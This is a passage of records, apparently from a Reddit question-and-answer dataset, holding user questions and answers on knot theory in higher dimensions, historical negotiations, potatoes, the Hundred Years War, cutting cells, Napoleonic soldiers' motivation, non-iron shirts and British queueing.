freedom to deform your object--imagine a circle in a plane, you can certainly push and prod it into many shapes, but they're all the \"same\" in a sense, unless you cross the circle over itself, a transformation which isn't allowed. In codimension 3, where you have a one-dimensional object embedded in a four-dimensional space, you have too much freedom for anything interesting to happen--you can always unravel your knot.\n\nAs it turns out, however, we can talk about higher-dimensional knot theory, but we need to change what our idea of a knot is. That is, instead of imagining one-dimensional objects in higher-dimensional spaces, we want to consider codimension two objects like a two-dimensional surface embedded in four dimensions, and so on.\n\nThere is actually a freely available book appropriately called [High-dimensional Knot Theory](_URL_0_). It is likely unreadable to a layperson, but the entire book focuses on these codimension 2 embeddings.", "Wait.  If knots only work in 3 dimensions, and knots work in our universe, then wouldn't that be a proof that our universe doesn't have more than three dimensions?", "this hurts my brain. can someone please ELI5?", "Follow up question from a non-math guy, What exactly constitutes a dimension?", "A codimension of 2 means an object of two dimensions less than the overall space.  If we think of our universe as four-dimensional (three time plus one space), could we tie a knot with a two-dimensional plane by contorting it somehow through one dimension of space and one dimension of time?  Or is time too unidirectional for \"knotting\" (whatever the hell that means)?", "Basically a knot is a 1-dimensional object (the rope) embedded in 3-dimensional space.  If you generalize knot theory into higher dimensions by taking a 1-dimensional object embedded in 4-dimensional space, then you get an essentially uninteresting theory because all knots can be untied.  \n\nIt is very easy to convince yourself of this fact, but you will have to draw some pictures.  First learn to draw a knot.  We usually draw a knot on a piece of paper by showing which part of the rope goes over the other by making a little gap in the bottom rope like so:  [knot picture](_URL_4_)\n\nOnce you get comfortable drawing knots, practice untying them.  There are 3 moves you are allowed to do: [here they are] (_URL_3_). \n\n[Here is a knot to untie](_URL_1_)\n\n[This is a harder one]\n(_URL_2_)\n\n Note the one move you are definitely NOT allowed to do is to switch which rope is on top at a crossing.  This would involve passing one strand through the other!\n\nNow suppose we have an extra dimension to work with.  It is a little hard to draw a rope in 4-dimensions on a piece of paper, but we can imagine it by visualizing the position of the rope in the 4th dimension as the color of the rope.  So if we use blue then the rope is further back in the 4th dimension, red means closer and black means at 0.  \n\nNow we CAN switch which strand is on top when two strands cross.  Push one strand back in the 4th dim by making it redder.  Pull the other one forward by making it bluer.  Now just pass them \"through\" each other.  Since they have different coordinates in 4-dimensions these strands are actually no where near each other.  To think of it another way.  Two cars don't crash into each other even if they occupy the center of the intersection if they do it at different times.  \n\nNow try untying a knot like [the trefoil](_URL_4_) using your extra FOURTH move of switching which strand is on top.  You will quickly get to just a circle and I think you will convince yourself pretty quickly you can do any knot.   \n\n[gif of untying the trefoil](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.math.harvard.edu/archive/21a_spring_06/exhibits/unknotting/index.html"], [], ["http://www.maths.ed.ac.uk/~aar/books/knot.pdf"], [], [], [], [], ["http://www.math.harvard.edu/archive/21a_spring_06/exhibits/unknotting/unknot.gif", "http://upload.wikimedia.org/wikipedia/commons/a/a8/Unknots.svg", "http://www.popmath.org.uk/exhib/imagesexhib/knotgif/knot2-1c.gif", "http://www.mathadore.nl/mathadore/knots/old/ReidemeisterMoves.jpg", "http://upload.wikimedia.org/wikipedia/commons/5/5c/Trefoil_knot_left.svg"]]}
{"q_id": "3u3yn6", "title": "Tuesday Trivia | Let\u2019s Make a Deal: Great Negotiations in History", "selftext": "[Previous weeks' Tuesday Trivias and the complete upcoming schedule.](_URL_0_) \n\nToday\u2019s trivia comes to us from /u/sunagainstgold! \n\nThe end of this week marks, of course, the most American of holidays, Black Friday, and the advent of the nation\u2019s great annual festival of price cuts, deal making, and the free market in action. So let\u2019s warm up with **historical tales of satisfying (or unsatisfying) negotiations and deals.** (They naturally don\u2019t have to be involving money, the end of wars and conflicts, barter, or marriage negotiations are also cool!) \n\n**Next week on Tuesday Trivia:** It\u2019s nylon or nothing next week, as we consider the fabrics of our lives (and other people\u2019s) through history. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3u3yn6/tuesday_trivia_lets_make_a_deal_great/", "answers": {"a_id": ["cxbqzje", "cxc1z51"], "score": [11, 2], "text": ["Oh boy, time to tell yet another story about one of my favorite historical figures, Charles V of HRE, Castille e Leon, Aragon, Navarra, Burgundy, Flanders, Wallonie, Brabant, Naples, Milan, Austria, etc etc etc etc etc. \n\nHow does one maintain such a large disjointed empire? The answer is, [money money money](_URL_1_).\n\nOne of his first orders of business upon arriving as a 17-year old in Spain to be coronated King of Castille, Aragon, and Navarre, is to raise money to support his election as HRE Emperor; his grandfather Maximilian I passed away in 1519. \n\nTo ensure the votes he needed, he embarked on a huge campaign of bribery. To pay for the bribes, he borrowed money from the Fuggers. To pay the money back, he needed a big increase in taxes from his Spanish dominions, especially from Castille. \n\nSo the following year in 1520, it was time to ~~jet~~ sail away to Germany for coronation. But the Cortes of Castille refused to grant the new tax, despite threats from their King. He responded by suspending them, and then re-convening them against greater threat. Finally, the new tax was passed. Mere weeks later, he departed. \n\nSeeing their young new foreign (he spoke very poor Castillian at this point) king leave, taking away their money, the Castillians revolted in what came to be known as *The Revolt of the Comuneros*. At first Charles didn't fully appreciate the seriousness of the situation. But when the rebels tried to re-instate his [mentally-incapacitated mother Juana](_URL_0_), he knew he had to respond. He appointed new co-regents and opened negotiations. \n\nWhere he couldn't negotiate, he told his agents to fight, and to fight vigorously. The battle of Villalar severely reduced the rebel forces. France's Francis I tried to take advantage of weaknesses in Spain, but was checked in Navarre. \n\nCharles returned to Spain in 1522, and realizing the large extent of the rebellion, issued a general pardon except for several hundred ringleaders. Of these, 23 were executed. \n\nAnd what about the Cortes? Its powers were greatly reduced and its membership controlled by those loyal to Charles V. It was so much agreeable to any requests for funds that Charles V said, \"*Yesterday I wanted your money, today I ask for your advice.*\"\n\nThat's what I call a tough negotiator. \n\n", "One of the more clever negotiations in history is well known, but little recognized as a negotiation.  Perry\u2019s expedition to Japan is commonly perceived as Perry \u201cforcing\u201d Japan to open up to trade.\n\nI know that it might serve as a useful shorthand to state that Japan was \"forced\" to open up. It is also true that Perry made several veiled threats of force. But he never directly threatened the Japanese with force and never used force against Japan.  I don\u2019t think he had the authorization to use force against Japan.  President Fillmore\u2019s letter to the Emperor of Japan even makes it explicit (so the Japanese should have known he was unlikely to actually use force).\n\nCommodore Perry studied every account of Japan which he could find, and the reports of several previous (failed) American missions, to try to devise a successful negotiating strategy with Japan. The strategy he adopted proved to work. This was due to a combination of insight into Japanese culture, a well planned negotiating strategy, and some luck.\n\nPerry planned to make two visits to Japan. He came first in 1853. He refused to go where the Japanese authorities told him to go. He demonstrated the power of his ships' shell-firing cannon (a new technology) by firing on some deserted wasteland. He made no demands on the Japanese, other than that they should accept a letter from the President of the USA to the Emperor. Once the letter was accepted, he sailed away, promising to return in half a year for an answer.\n\nPerry's negotiating strategy was clever. He demonstrated the possibility of devastating force, but did not directly threaten the Japanese. His only demand was that a letter be delivered to the Emperor (not sure if this was a brilliant negotiating strategy, or just American ignorance, Perry thought that Japan had \"two Emperors\", one secular and one religious. He may have meant his letter for the \"secular emperor\" but the Japanese thought he meant the \"religious\" one). In any event, it would be rude of the Shogun's government not to accept a letter for the Emperor.\n\nSailing away, so the Japanese could consider the letter without any overt threat, saved face for the Japanese and was another very good negotiating strategy.\nThe letter proposed to the Emperor a treaty with only 5 clauses:\n\nPeace and friendship between the United States and Japan.\n\nOpening of two ports to American ships.\n\nHelp to be made available to American ships and sailors shipwrecked on the Japanese coast.\n\nPermission for American ships to buy coal, water, provisions in Japan.\n\nA 'most favored nation clause' stating that any privileges which Japan gave to any other nation would be given to the US.\n\nThis simple list of proposed treaty requests, all of which had precedents in Japan was another good negotiating strategy.\n\nWhen Perry returned in 1854, he found that the Japanese had decided to accept the treaty as proposed.\n\nThe negotiation strategy of demonstrating determination (by entering Edo Bay, and not going where the Japanese government told him to go), making a veiled demonstration of force, demanding only the delivery of a letter addressed to the Emperor, withdrawing while the letter was considered. Proposing a limited treaty in the letter, and scheduling a return to receive the reply. Was a negotiating strategy which worked. It worked because it was well thought out from Perry's research on the nature of Japanese culture and the Japanese government.\n\nThroughout, Perry made no use of force, and made no direct threat of force. Sure he made veiled threats of force, but it is perhaps a little too strong to say that Perry \"forced\" Japan to open up. I think, rather, he cleverly brought the Japanese to consider that they might be wise to open up.\n\nSources: _URL_3_\njapanhttp://_URL_1_\n_URL_0_\n\nHere is the text of President Fillmore's letter to the Emperor of Japan:\n\n_URL_2_\n\nI draw your attention to this paragraph:\n\n\"The Constitution and laws of the United States forbid all interference with the religious or political concerns of other nations. I have particularly charged Commodore Perry to abstain from every act which could possibly disturb the tranquility of your imperial majesty\u2019s dominions.\"\n\nPretty clear, that Perry was not authorized to use force, and the Japanese were so informed.\n\nThe letter suggested that Japan should consider opening up for trade, but never gets threatening. Indeed, the President says, \"If your imperial majesty is not satisfied that it would be safe altogether to abrogate the ancient laws which forbid foreign trade, they might be suspended for five or ten years, so as to try the experiment. If it does not prove as beneficial as was hoped, the ancient laws can be restored. The United States often limit their treaties with foreign states to a few years, and then renew them or not, as they please. \"\n\nThe one clause on which the President gets the slightest bit insistent is the one about protecting shipwrecked sailors: \"I have directed Commodore Perry to mention another thing to your imperial majesty. Many of our ships pass every year from California to China; and great numbers of our people pursue the whale fishery near the shores of Japan. It sometimes happens, in stormy weather, that one of our ships is wrecked on your imperial majesty\u2019s shores. In all such cases we ask, and expect, that our unfortunate people should be treated with kindness, and that their property should be protected, till we can send a vessel and bring them away. We are very much in earnest in this. \"\n\nI think the implication here might be: \"We went to war with the Barbary Pirates to protect our sailors. We went to war with Great Britain, the greatest superpower on earth, to protect our sailors. We ARE in earnest about protecting our sailors.\"\n\nI doubt that the US would have fought for the other clauses, but suspect they might have fought over this one if another incident had occurred.\n\nAfter all, Perry's was not the first American Expedition to get what they wanted from Japan. In 1849, James Glynn, commanding the US navy 16 gun sloop of war Preble was dispatched to Japan to recover 15 American sailors who's whaling ship had been wrecked on the coast of Japan. Glynn stood firm against Japanese resistance, and eventually recovered the survivors. The American sailors had been held in cages, several had died of exposure. One had hanged himself. When the released sailors reached the United States, the tale of their harsh treatment caused a sensation. Glynn's recommendations led directly to Perry's mission.\n"]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/AskHistorians/wiki/features/trivia"], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/3pe8ao/was_joanna_of_castille_aka_juana_la_loca_actually/cw5slw5", "https://www.reddit.com/r/AskHistorians/comments/389vdw/was_charles_vs_empire_systemically_unsustainable/crtjchf"], ["http://history.state.gov/milestones/1830-1860/opening-to-japan", "afe.easia.columbia.edu/special/japan_1750_perry.htm", "http://afe.easia.columbia.edu/ps/japan/fillmore_perry_letters.pdf", "http://history.state.gov/milestones/1830-1860/opening-to-"]]}
{"q_id": "a2azr6", "title": "why we get such satisfaction from peeling off the plastic film from new products", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a2azr6/eli5_why_we_get_such_satisfaction_from_peeling/", "answers": {"a_id": ["eawnokn", "eawo3vg"], "score": [2, 7], "text": ["It's a simple physical task that has a reward.  No different than peeling an orange to get the juicy fruit, or opening a nut to get the edible inner part.", "It's the association of a new toy/item that we get from it. You're unlikely to associate that action with anything else in any case. It's like how some people associate a biker bell as to get out of the way."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "7tfod4", "title": "how do potatoes continue to grow and sprout without access to sunlight, soil, or water?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7tfod4/eli5_how_do_potatoes_continue_to_grow_and_sprout/", "answers": {"a_id": ["dtc45dr", "dtc4i6k", "dtcl9vc"], "score": [17, 3, 2], "text": ["They are full of energy (and some water) already.  That's why we eat them - they've got a ton of starches and other nutrients.  They're basically energy storage nodules for the potato plant in the first place.  So they have plenty of energy with which to grow.", "The potato is a store of energy and water. Its entire purpose is to provide said energy and water to the sprouts so that they can grow. ", "It is exactly what potatoes are \"designed\" to do.\n\nPotatoes are not grown from seed. The way you grow potatoes is you cut a potato up so that each big chunk of stored water, starch and minerals has an \"eye\" in it and then you plant them in the ground where it is dark and moist. The \"eye\" is capable of growing all parts needed to grow an entirely new plant, using its portion of the potato as food and energy. The new plant grows up into the light because it detects \"up\" via gravity. It's new roots grow down in the same way, they spread and, when mature, make more potatoes as tubers on the roots."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2whcq8", "title": "How much technological improvement was there during the 100 years war? Would an army from the start of the conflict have been easily defeated by an equal force from the end?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2whcq8/how_much_technological_improvement_was_there/", "answers": {"a_id": ["corbws0", "corfc6i"], "score": [17, 6], "text": ["While it existed at the beginning of the war, plate armor really came into its own during the war.\n\nAt the battle of Crecy the French basically just mounted their horses, strapped on whatever armor they had, few having actual plate armor, and just charged the English line. Famously it didn't work. The average armor of the knight as well as the armor of the horse was not enough to stop the arrows.\n\nDespite popular belief, the French did learn from their defeats. They quickly realized that plate armor made a knight functionally invincible to the arrows. They also dismounted for their charges. While yes you'd still have cavalry charges, the main thrusts of many of the battles became dismounted knights, slowly walking towards the English line, shrugging off arrows.\n\nOf course the longbow was still effective. Sure the French weren't being cut down by the arrows, however imagine the charge. Walking across a giant field, head bent downwards to protect your eyes as the visor was the only weak spot, arrows fired from bows with roughly a 100 pound draw shattering against you. The fighting condition was amazingly low by the time they'd reach the English. However they were still alive largely due to the tech.", "It's important to realize that there was a failure, a further fracturing, of the French state, so although it began as a dispute between the French and English kings over the English monarch owing fealty to the French one for his French possessions,  it became much more chaotic, a contest involving various powerful figures, fueled by the ready  availability of wandering bands of mercenaries and landless nobles, who would turn into robbers, or routiers, when not otherwise occupied. So, it's not as though there's always simply an English Army vs. a French Army.\n\nOne significant change was the growing tendency for taller walls, in bigger cities, as they found small fortifications could be more easily conquered.  Simply shutting everyone in and guarding the high walls sometimes was  good strategy, waiting until the bandits started to starve and had to go elsewhere.\n\nJonathan Sumption: The Hundred Year's War"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1nzle1", "title": "When i cut my finger does it cut the cells, or are they just clumped to different sides?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1nzle1/when_i_cut_my_finger_does_it_cut_the_cells_or_are/", "answers": {"a_id": ["ccnlq86", "ccnmp10", "ccnnfu3", "ccnntdp", "ccnvdim", "ccnvmkf", "ccnxrhz", "ccnyxyt", "cco1pg4", "cco3axr"], "score": [1328, 159, 362, 1196, 23, 80, 13, 3, 2, 3], "text": ["Hello and welcome to AskScience.\n\nPlease don't guess the answer. Please try to provide sources to substantiate your reponses.", "In short, you are disturbing the extra cellular matrix, made up of the conjunctions between the actin-myosin network within the cell, the micro tubules, intermediate filaments, and the structural proteins- like collagen. \n\nMost often, the ECM is much more rigid than the cells held together by these filaments. Rupture of the cells is caused by the force of interaction between them, generally propagated by the various filaments. \n\nIn short, a lot of cells get popped or squished, but the blade itself is very unlikely to directly lyse a single cell at a time. Most of the damage is in the ECM, which, along with necrotic signals, causes a biochemical cascade signaling the process of wound healing- if you are bleeding, it is due to damaged endothelium (blood vessel lining), else a differing mechanism ensues.", "In addition to some of the good answers already here, it also depends on \"with what\". Obviously things with a more blunt edge will cause more jagged and less sharp cuts however, things like obsidian glass or CNTs have VERY sharp cutting edges (3-4nm and 1+nm respectively) (_URL_0_)\n\nresulting in extraordinarily sharp cuts that may very well directly damage cells if that is the \"intended\" target. It actually has interesting surgery and engineering applications(_URL_1_).\n\nThings like metal knives etc, are much less sharp and do a lot more blunt force trauma on the microscopic level (squeezing and adding pressure) than actual cutting as some others have mentioned.\n\n ", "Compare this [image of a razorblade](_URL_2_?) with a 5 micrometer scale bar and this [larger image of red blood cells](_URL_0_) with a 1 micrometer scale bar.\n\nGuess what happens when the two meet. From the cell's perspective it is less of a cut and more like being hit by a car.\n\nIf you want to cut cells in half for electron microscope slides or something then you should go to a [diamond knife](_URL_1_).\n\nEDIT: I would like to apologize for breaking anyone's internet, it should be fixed now.", "When I use a microtome to cut frozen liver biopsies at 5 micron thickness, there are about 10-20% cells cut in half (liver cells are about 15-20 micron thick). \n\nNot by me, from some brilliant researcher at UCSD cut at 0.5 micron thickness\n\n_URL_0_\n\nThe cutting edge is a very sharp stainless steel razor. \n\nBut some vibratomes uses a diamond edge.", "This thread has me curious on a related topic. \n\nWhen we cutofd the tip of our finger, it grows back the same size and shape. Even a nice chunk will do that. But not a huge chunk, or a whole finger. Where is that barrier? What causes a small chunk to grow back just the same (not different in any way) while a larger piece won't grow back at all? My body knows to put that piece of my finger back, and remembers its size and shape. Is that information in my DNA? If so, why does it only allow small sections to regrow?", "No, you are not cutting at the cellular level, but are dividing them (as you said \"clumping them\"). You seperate the cells causing an opening in the skin or flesh.\n\nNow, you are likely still damaging some of the cells in the process, but the line of the cut is not a line of cells cut in half.\n\nTo put it more tangibly, imagine you are a razor or knife, and you jump into a ball pit at an amusement park. All the plastic balls separate out of your way and allow you in. These balls are all cells. Sure, your jump may have crushed or dented a few, but mostly they moved out of the way.  This isn't a perfect scale comparison of your skin, flesh, and blood cells to a razor blade, but its fairly demonstrative.\n\nAlso a factor, if you held ONE ball down and jumped on it, you'd squish it, and it might even split. However the balls aren't necessarily restrained in one spot so you are able to displace them as you move in and walk around. You as a person are big enough to move and strong enough to part through the balls. A blade does similar between skin or flesh cells.  \n\nNow, the bonds between the cells are different from balls in a pool. You can imagine these bonds as velcro, and as the blade moves through them separating the cells, it rips this velcro apart.\n\nEdit: A few typos.", "I'd like to address a point that no one has mentioned but is relevant to the discussion. The architecture of skin is not solely comprised of cells. There is a large amount of fibrous connective tissue, not to mention the every important basement membrane (mostly collagen, type IV) lining the base of the epidermis and forming a scaffold on which the epidermis rests and grows. See this [image](_URL_0_) on wikipedia of the superficial skin. \n\nThe basement membrane lies at the junction of the epidermis and dermis. The dermis has much more acellular connective tissue as well, which is highlighted by the relative lack of nuclei (dark purple round structures.) You can also make out some capillaries within the part of the dermis that looks like a hill. They are circles with small pink/red cells (red blood cells/RBCs/erythrocytes) contained within (intraluminally).\n\nThese capillaries, composed of a thin endothelial layer resting, again, on a basement membrane, may also be sheared. The endothelium is primarily cellular, and this layer must be breached to release red blood cells. See the structure of a [capillary here](_URL_1_) and [here](_URL_2_). It is clear that the integrity of the endothelium must be compromised to allow for bleeding/hemorrhage to occur. I cannot say with certainty what happens to the endothelium, but I would hypothesize that shearing forces would disrupt either the plasma membrane (resulting in cell rupture) or the various intercellular adhesion molecules keeping the endothelium intact.", "Well, it depends on the tissue getting cut (intracellular medium may be firmer or softer than cells) and the tool you use.\nI would say mostly both as a rule of thumb, as even the most sharp edge is large enough to do massive damage to several layers of cells, in depth and width, AND to intracellular tissue, so you will have both destroyed cells and moved ones.\nBlunt edges are more likely to move tissue away from its path, tearing rather than cutting, but on cell scale I suspect there is no much difference.\nLaser cut is entirely different, it would rather burn away (less) both cells and intracellular tissue, unless a specific tissue or cell population is treated to adsorb specific wavelength being more sensible to a specific medical laser treatment.", "Skin is composed of epithelial cells, which form tight junctions with each other to form a barrier to the external environment.  Regardless of whether the blade you use to cut yourself actually penetrates the cell membranes, breaking the cell barrier rips apart the tight junctions, shredding the adjacent cells.\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://journals.lww.com/plasreconsurg/pages/articleviewer.aspx?year=1993&amp;issue=10000&amp;article=00015&amp;type=abstract", "http://www.ncbi.nlm.nih.gov/pmc/articles/PMC1273673/"], ["http://i.imgur.com/U1NviwV.jpg", "http://en.wikipedia.org/wiki/Microtome", "http://sciencehellyeah.files.wordpress.com/2012/06/razor-4500x.jpg"], ["http://emcore.ucsd.edu/Semithin_files/shapeimage_4.png"], [], [], ["http://upload.wikimedia.org/wikipedia/commons/8/84/Epidermis-delimited.JPG", "http://www.histology.leeds.ac.uk/circulatory/assets/capillary.jpg", "http://www.vetmed.vt.edu/education/curriculum/vm8054/Labs/Lab12b/IMAGES/CAPILLARY2%20copy%20WITH%20LABEL%20copy.jpg"], [], ["http://www.bio.davidson.edu/people/kabernd/berndcv/lab/epithelialinfoweb/epithelia%20structure.jpg"]]}
{"q_id": "apx7wx", "title": "What motivated 19th Century soldiers to endure such terrible hardships?", "selftext": "I'm reading a biography of Napoleon. An awful lot of it is detailed descriptions of marches, battles and military life. His soldiers often endured terrible hardships - forced marches, poor food or hunger, sometimes thirst, marching or fighting with no boots, or no shoes, snow and cold and so on, not to mention the constant possibility of death or horrifying injury in battle. I'm wondering what motivated the soldiers to volunteer, participate, not desert, and then sign up for more. According to this biography, they were often eager for more, and sometimes happy and proud to participate in near-suicidal tactics.\n\nThis is not so easy to understand. I'm not sure the soldiers at the time would be able to explain it themselves. After all, most people, most of the time, have a poor understanding of their own motives. They may have said, honestly, that they did it for the greater glory of France, or \"honor,\" or out of love for Napoleon, their commander, something like that, but that couldn't be the whole story.\n\nI've got some educated guesses - I'm not a historian. I wonder if military life was the only occupation available to most of them, or maybe the alternative was to stay home and be a low-status, poorly-nourished, over-worked peasant. Maybe if they stayed in military service long enough, and survived, they could look forward to higher social status and prosperity after they left military service, because of military pensions, and high public regard for veterans. I wonder if they were motivated by occasional opportunities to pillage or rape, even though, in theory Napoleon disapproved of such things.\n\nOther possibilities occur to me. If they were conscripted or volunteered when they were still teenagers, maybe it's just the only life they knew, and the only life they could conceive of. I wonder if they were preoccupied with competing with one another, as individuals, or as small military units, for status arising from valor, or at least success, in battle.\n\nI'm only guessing. I imagine some historians know a lot about questions such as these, and I'd like to know what conclusions they have reached.\n\nThis could be a much broader question if applied to soldiers in general, in various times and places, so let's restrict my question to Napoleon's soldiers, or maybe European soldiers in the early 19th century.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/apx7wx/what_motivated_19th_century_soldiers_to_endure/", "answers": {"a_id": ["egc3wnk"], "score": [97], "text": ["**1/2**\n\nKeep in mind that a great deal of the writing from this period about soldiers comes from officers, and if not, it comes from men writing about their experiences after the fact. Even after enduring indescribable hardship, the romantic aspects of soldiering are hard to suppress. \n\nWith that in mind, let's explore some possibilities, though. What motivated men to fight? There are two pretty broad categories we can apply, and those are *positive* and *negative* motivators: the carrot and the stick. I know you asked about continental forces, but I believe that my concentration on some American forces will be able to make some general answers to your questions, and I'll supplement as I can with my knowledge of Napoleon's army and that of the British of the period.\n\n**The Stick**\n____________________________________________\nImagine a man. He's in uniform, a tight wool coat and shining musket on his shoulder, a tall hat topped with a cockade makes him look tall, imposing, *dangerous*. The musket on his shoulder is polished, loaded. He stands elbow to elbow with hundreds of other men. They march forward across a grassy field swept with wind, lashed here and there with bouncing cannonballs, pockmarked where shells have exploded, littered here and there with bodies of skirmishers or cavalrymen and their horses.\n\nBehind this man, another one. Older, his uniform worn but cared for. Instead of a musket he carries a *spontoon*, a 7-9 foot spear. Rather than carry it on his shoulder, he carries it with the point levelled at the backs of the men marching forward. Under his knitted brows, his mouth is drawn in a tight grimace: he's promised to run any man through who attempts to run.\n\nThe choice is clear: go forward and take your chances. Retreat, and *die*.\n_____________________________________________\n\nYou should know that this image is almost entirely fictitious. Attested by General Wolfe before the Battle of Quebec in the French and Indian War, the image has stayed but the particulars fade away. However, there is some truth to the image in general, even if the specifics are wrong: an army is a creature of *force*. Men are forced to fight, forced to muster, forced to march, under penalty of severe beatings, imprisonment, or execution. This was not done at the end of a sergeant's spontoon, but as a result of the design of the army as a whole.\n\nFor Napoleon's army, this force is obvious and omnipresent: the vast majority of men have been conscripted, and are forced to serve. Fewer are men who enlisted in the army under the old regime, and fewer still are fresh volunteers, though the line between those and the conscripts is blurred. \n\nSupposing it is true that some of these men want to desert. All of their clothing, equipment, food, shelter, and medical care are all out of their control, and not only does that make one of these hypothetical soldiers totally dependent on the logistics of the army itself, but it makes desertion extremely difficult. Punishments for desertion are *severe*. The prevailing thought was that, left unpunished, desertion would become wholesale, men would desert in droves, and the army would disintegrate.\n\nAnd so, theatrical punishments were often used. This could take a number of forms; in one instance during the War of 1812, men who refused to march along with William Hull to Detroit from Ohio were subjected to organized ridicule, as described by Private Elias Darnell: \"these, to fix an *odium* upon them, were drummed out of camp and through town.\"\n\nThis example takes a bit of unpacking. The men with Darnell were volunteers of the militia, and they not only expected to be paid for their service, but they expected that their officers would adhere to whatever agreements they had made previously. These men had been promised pay, and promised clothing. When clothing couldn't be found, men were offered sixteen dollars in lieu of clothing, and the choice to stay or go back home. Six men chose to go home, and these were the men that were ridiculed out of camp.\n\nDarnell also alludes to some of the reason the rest of the men stayed. Along the march he notes that: \"It rained most of the time, which made it disagreeable travelling and encamping. These hardships tended a little to quench  the excessive patriotic flame that had blazed so conspicuously at different musters and barbecues.\"\n\nThe fact that these men were volunteers, and had the ability - to a limited extent - to leave at will changes things. Their counterparts in the regulars had no such freedom, and the punishment for desertion was, in time of war, typically execution. But even execution was an elaborately staged performance that was meant to wean out the greatest possible effect on the rest of the men. The point of harsh punishment was made clear by an officer of the 12th US Regiment: \"the infamous crime of desertion has become so common that the honor and safety of the nation demand that it should be put a stop to.\"\n\nThe entire army - or at least as many men as was possible - would be mustered and put in formation facing the place of execution. There they would stand and watch as the condemned men were led up to the firing squad (or gallows, as the case may be). There they would be blindfolded, asked for last words, and then the orders for the firing squad would be called.\n\nAnd sometimes, *sometimes*, a general would stay the execution and grant clemency. One such occasion was explained by a general order issued to the rest of the army:\n > This act of clemency of the Major General in declaring the full and absolute pardon of these unfortunate men, it is hoped will make a lasting impression on their future conduct in life, and that they will still show by their good behavior that they are worthy of a life which had forfeited to their country and their God. But let it not be presumed that this first act of lenity in the Major General will be extended to others.\n\nIt was hoped that the display of the power the army wielded over life and death was itself a deterrent to desertion or other crimes. Men were still executed, however, because too much leniency could soften the effect just as overt cruelty would. It was difficult to strike a balance, but on the whole, *far* more men successfully deserted than were executed for it.\n\nThis is just a small slice of the kind of structures in place to prevent desertion. Other practical matters made it difficult: a soldier's only clothing was issued, and immediately recognizable. Soldiers were often far from home and, especially in the Grande Armee, far from home. They may not speak the local language and they almost assuredly don't know the local terrain. They would have to avoid or circumvent cavalry screens, wandering patrols, and roll the dice that either the enemy would capture them and believe that they were deserters enough to interrogate them and not execute them as spies, or hope that they could find help among the local populace, which wasn't a guarantee.\n\nIn short: they fought because they were forced to. They fought because that was, paradoxically, the path of least resistance for a man unfortunate enough to have enlisted in a state military in the early 19th century."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5mfebv", "title": "what's the difference between non-iron dress shirts and regular ones?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5mfebv/eli5_whats_the_difference_between_noniron_dress/", "answers": {"a_id": ["dc34s9m"], "score": [3], "text": ["They soak the cotton fabric in formaldehyde. That forms chemical bonds between the cotton fibers making the shirt less likely to crease. That's why they are called \"non-iron.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1oas4h", "title": "why are the british stereotypically 'known' for queueing/standing in lines?", "selftext": "I've seen it mentioned here and there, even in the Douglas Adams books, it's mentioned that queueing is something that the British are particularly good at or inclined to do, but... why is this the case? Where'd this idea come from? Lots of places have lines!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1oas4h/eli5why_are_the_british_stereotypically_known_for/", "answers": {"a_id": ["ccqar3p", "ccqarjq", "ccqc8w4", "ccqh60q", "ccqqi8e"], "score": [7, 9, 3, 3, 4], "text": ["In England though the lines tend to be somewhat more orderly than in many other places. People are just resigned to it. You don't get the same sort of queue jumping that is altogether too common here in Canada or the US, at least in my admittedly anecdotal experience. \n\nSo is this a real thing? Who knows? It is, however, one of the many ways in which the English stereotype themselves, which is all that really matters for the purpose of your question. \n\nNote: I say \"English\" specifically because it doesnt seem to be a stereotype that the Scots self identify with to the same extent. The Welsh and N Irish I can't speak to, having never spent much time there. ", "Lots of places have lines, but not everyone is as patient with them as the British. I've stood in a bus line in Italy that dissolved into a seething scrum when the bus turned up. I've watched in wonder in New York as two queues travel at markedly different rates. I've seethed with quiet anger at French queue hoppers jumping in shamelessly at the Louvre.\n\nIn Britain, if you're first in the queue, you're first on the bus. If there are two windows, you make *one queue* and feed off to the next available window. If someone cuts in, you give them the tutting of their miserable lives.", "The temporary nature of queues makes it hard to trace their history, but key historical events are said to have shaped how the British queue and their reputation for being so good at it. One is the industrial revolution.\n\n\"The orderly queue seems to have been an established social form in the early 19th Century, a product of more urbanised, industrial societies which brought masses of people together,\" says Moran.\n\nPeople were moving in huge numbers from the countryside into towns changing the patterns of daily life, including shopping.\n\n\"More of a barter system existed in local markets, the whole way people shopped was more informal,\" says historian Juliet Gardiner. \"Traders started moving from market stalls into shops as they moved into towns. In the more formal setting of a shop people had to start to queue up in a more structured way.\"\n\nDespite the mass expansion of manufacturing not everyone reaped the financial rewards and poverty was rife.\n\n\"Queuing started to become associated with extreme hardship as the poor had to queue to access handouts and charity,\" says Dr Kate Bradley, a lecturer in social history and social policy at the University of Kent.\n\nBut what really shaped Britain's reputation as civilised queuers was World War II.\n\n\"Propaganda at the time was all about doing your duty and taking your turn,\" says Bradley. \"It was a way the government tried to control a situation in uncertain times.\"\n\nThe queue became loaded with meaning, drawing on notions of decency, fair play and democracy and the myth of the British as patient queuers was forged, says Moran.\n\n[Source](_URL_0_)", "Even say in a chip shop where there is no identifiable queue, when the server says \"next please\" everybody kind of exchanges glances if they're waiting to be served and stands back if they have been.\n\nThere's then the recognition/memory of either party knowing who is, indeed, next. Then a polite/awkward \"go on, 